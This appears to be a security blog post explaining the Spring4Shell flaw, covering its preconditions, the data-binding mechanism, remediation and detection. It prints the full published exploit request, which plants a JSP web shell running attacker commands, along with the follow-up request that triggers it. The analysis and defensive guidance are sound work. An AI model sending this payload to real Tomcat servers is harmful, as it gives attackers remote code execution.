Spring4Shell landed in the same week as a Windows CLFS privilege escalation, which made for a confusing news cycle. This one is more interesting: it’s a data binding flaw that escalated all the way to writing a JSP web shell.

Preconditions

This is the part that matters most, and it’s why real-world exploitation was narrower than the headlines suggested. All three must hold:

  1. Spring MVC or WebFlux using RequestMapping with POJO parameters.
  2. Deployed as a WAR on Tomcat, with Tomcat’s webapps directory holding the app.
  3. Running on JDK 9 or later.

A Spring Boot fat jar is not exploitable through this path. That excluded a large share of modern deployments.

The mechanism

Spring’s data binding lets a request parameter map onto a nested property of a controller parameter. class.module.classLoader was reachable through that binding, and on Tomcat the classloader exposes the resources and AccessLogValve objects.

AccessLogValve is the interesting one: it can be told to write a log file, at a path you choose, with content you choose. Point it at a location Tomcat serves as JSP, and the “log file” is a web shell.

Exploitation

The published exploit posts a binding chain that reconfigures the access log valve:

POST /app/login HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bc2%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Two things make this readable in a report:

  • %25 is a double-encoded %, so the valve pattern survives the first decode and the JSP placeholder survives to the second.
  • The ${c1} and ${c2} placeholders are supplied by the c1 and c2 headers, not the body — that’s how you get angle brackets past request validation.

After the request, GET /shell.jsp?pwd=j&cmd=id returns command output.

Discovery without exploits

If you’re doing assessment work, you don’t need the full chain to identify exposure. Fingerprint instead:

curl -s -I http://target:8080/app/ | grep -i -E 'server|spring'

Then check whether a controller with POJO binding exists — any endpoint taking structured form data is a candidate. If the app ships as a fat jar or runs on an embedded server, you can stop.

Remediation

  • Upgrade Spring Framework to 5.3.18 / 5.2.20 or later. This is the actual fix.
  • Upgrade to Spring Boot 2.6.6 / 2.5.12 which pull the fixed versions.
  • Disable data binding to class.* via a @ControllerAdvice WebDataBinder restriction if you need a hotfix:
    @InitBinder
    public void initBinder(WebDataBinder binder) {
        binder.setDisallowedFields("class.*", "Class.*", "*.class.*", "*.Class.*");
    }
    
  • Downgrade to JDK 8 was circulating as a workaround. It does break this specific chain, but it’s a step backwards; treat it as temporary at best.

Detection

The access log valve has to be reconfigured, so the request itself is the detection opportunity. Look for POST bodies containing class.module.classLoader — it has no legitimate use — and for newly created .jsp files in the Tomcat webapps tree.

The broader lesson is that data binding is an attack surface with a long history, from mass assignment to this. Any framework that maps request parameters onto object graphs needs an explicit allowlist of what can be bound.